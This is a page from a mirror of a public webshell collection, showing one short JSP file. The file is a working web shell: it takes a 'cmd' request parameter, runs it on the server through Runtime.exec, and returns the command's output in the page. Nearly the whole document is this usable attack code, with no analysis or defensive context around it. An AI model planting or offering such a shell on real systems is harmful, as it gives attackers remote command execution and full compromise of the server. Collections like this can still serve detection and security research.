mirror of
https://github.com/tennc/webshell
synced 2024-11-25 12:40:17 +00:00
3 lines
464 B
Text
3 lines
464 B
Text
1 <%@ page contentType="text/html; charset=GBK" %>
|
|
\
|
|
<%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); String output = ""; if(cmd != null) { String s = null; try { Process p = Runtime.getRuntime().exec(cmd); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s +"\\r\\n"; } } catch(IOException e) { e.printStackTrace(); } } %> <pre> <%=output %> </pre> 3 4 5
|